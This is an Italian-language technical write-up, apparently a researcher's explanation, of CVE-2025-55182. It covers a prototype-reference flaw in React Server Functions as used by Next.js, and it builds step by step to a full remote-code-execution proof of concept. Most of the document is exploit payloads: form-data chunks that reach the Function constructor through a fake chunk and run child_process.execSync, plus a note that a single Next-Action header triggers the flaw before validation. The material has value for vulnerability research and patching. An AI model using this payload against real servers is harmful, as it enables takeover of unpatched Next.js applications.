
Spiegazione e PoC RCE completo per CVE-2025-55182
Questa vulnerabilità consente l'esecuzione remota di codice (RCE) nelle React Server Functions, ad esempio quelle offerte da Next.js tramite riferimenti insicuri al prototipo.
Non sono un esperto di React o Next.js, quindi prendete tutte le informazioni qui con le pinze.
React offre le Server Functions1, che possono essere viste come una sorta di RPC su HTTP. Possono essere usate per recuperare dati da peer adiacenti per garantire bassa latenza, o per eseguire richieste autenticate per cui il client non dispone delle credenziali.
React usa qualcosa chiamato React Flight Protocol2 per la serializzazione dei valori passati alle Server Functions.
Il client passa "chunk" al server, ad esempio tramite form data:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Come mostrato, questi possono avere riferimenti incrociati tra loro. Il payload precedente viene deserializzato sul server nel seguente modo:
{ object: 'fruit', name: 'cherry' }
Il formato in sé è un po' più intricato e consente serializzazione e deserializzazione più complesse, ma questo fornisce una comprensione di base della vulnerabilità vera e propria.
Fino a questo commit3, quando si attraversavano i chunk durante la risoluzione dei riferimenti, ad esempio per ottenere fruitName dal chunk 2 nell'esempio precedente, React non verificava che la chiave richiesta fosse effettivamente impostata sull'oggetto. Questo ci ha permesso di ottenere il prototipo dell'oggetto4.
Questo può essere dimostrato con un payload come il seguente:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Che viene deserializzato nel costruttore di funzioni5:
[Function: Function]
Quando il chunk con ID 0 non è un array ma un oggetto, possiamo impostare la chiave then sul costruttore di funzioni. L'oggetto viene quindi restituito dalla funzione decodeReplyFromBusboy e Next.js ne attende la risoluzione:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Quando questo restituisce un thenable, l'await nel chiamante lo invocherà. Questo è ciò che accade con questo payload:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Portando a questo errore:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
L'errore appare così perché V8 chiama una funzione su cui è stato eseguito l'await con le funzioni interne resolve e reject, le quali, quando viene chiamato toString, vengono serializzate in qualcosa di simile a:
function () { [native code] }
Poiché possiamo recuperare banalmente il costruttore Function, il modo più immediato è trovare un call gadget che invochi il costruttore con un valore controllato dall'utente (cioè il codice della funzione come stringa) e che in seguito chiami la funzione restituita.
Ci sono diversi punti che possono chiamare il costruttore di funzioni, ad esempio resolveServerReference, dove id è un oggetto controllato, e lastIndexOf può essere sovrascritto per restituire una stringa controllata dall'utente (ad es. tramite Array.prototype.join) e slice può essere sovrascritto con il costruttore di funzioni. Tuttavia, questo punto non funziona perché la seconda invocazione di .slice() fornisce un numero come primo argomento, che - per quanto ne so - non può mai essere gestito dal costruttore di funzioni.
A questo punto entra in gioco un'idea brillante di maple31426. Quando getChunk preleva il chunk con ID 0 come riferimento radice per iniziare a risolvere la catena di riferimenti, questo stesso identico chunk può risolversi in un "fake chunk" appositamente costruito.
Possiamo fare riferimento al chunk 0 costruito all'interno del chunk 1 usando la sintassi $@, che restituisce il chunk "grezzo" (raw), non il suo valore risolto:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Combinando questo con la sovrascrittura di then vista sopra, possiamo costruire qualcosa del genere:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Qui, il chunk 0 sovrascrive il proprio .then() con il .then() della propria rappresentazione grezza di chunk. In parole povere, sovrascriviamo il nostro .then() con Chunk.prototype.then, che esiste, poiché i Chunk sono thenable:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Con il payload precedente, Chunk.prototype.then viene infine chiamato con il chunk costruito con ID 0.
Come mostrato sopra, quando .status sul nostro fake chunk è resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Si entra in initializeModelChunk. Qui, .value viene analizzato come JSON, e poi i riferimenti vengono risolti sull'oggetto restituito, usando il contesto "esterno" dei nostri chunk con ID 0 e 1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
All'interno di questo, ora abbiamo un secondo passaggio di valutazione con qualche valore in più a cui abbiamo accesso, poiché il contesto esterno è già stato risolto.
C'è un call gadget nella gestione dei dati blob con il prefisso $B nel flight protocol:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Usando il campo speciale _response, controlliamo la proprietà response del chunk costruito:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
Con questo, possiamo costruire un oggetto con proprietà ._formData e ._prefix finte:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
La proprietà .reason deve essere aggiunta per evitare che l'invocazione di toString in initializeModelChunk fallisca:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Puntando ._formData al costruttore di funzioni e ._prefix al nostro codice, otteniamo un gadget di invocazione per il costruttore di funzioni nella deserializzazione dei blob:
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")
La nostra funzione costruita viene poi restituita da parseModelString come metodo .then() del chunk costruito, che viene anch'esso messo in await, poiché tutto questo avviene in un'unica catena di risoluzione delle promise. Pertanto, restituendo un thenable, la nostra funzione costruita viene chiamata. Questo costituisce il call gadget necessario menzionato sopra.
Mettendo tutto insieme con un payload RCE reale, otteniamo qualcosa del genere:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Il bonus, che rende questa vulnerabilità ancora più grave, è che tutto questo avviene durante la deserializzazione, prima che l'azione richiesta venga validata in getActionModIdOrError. Pertanto, impostare un header come Next-Action: foo è sufficiente per innescare la vulnerabilità.
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E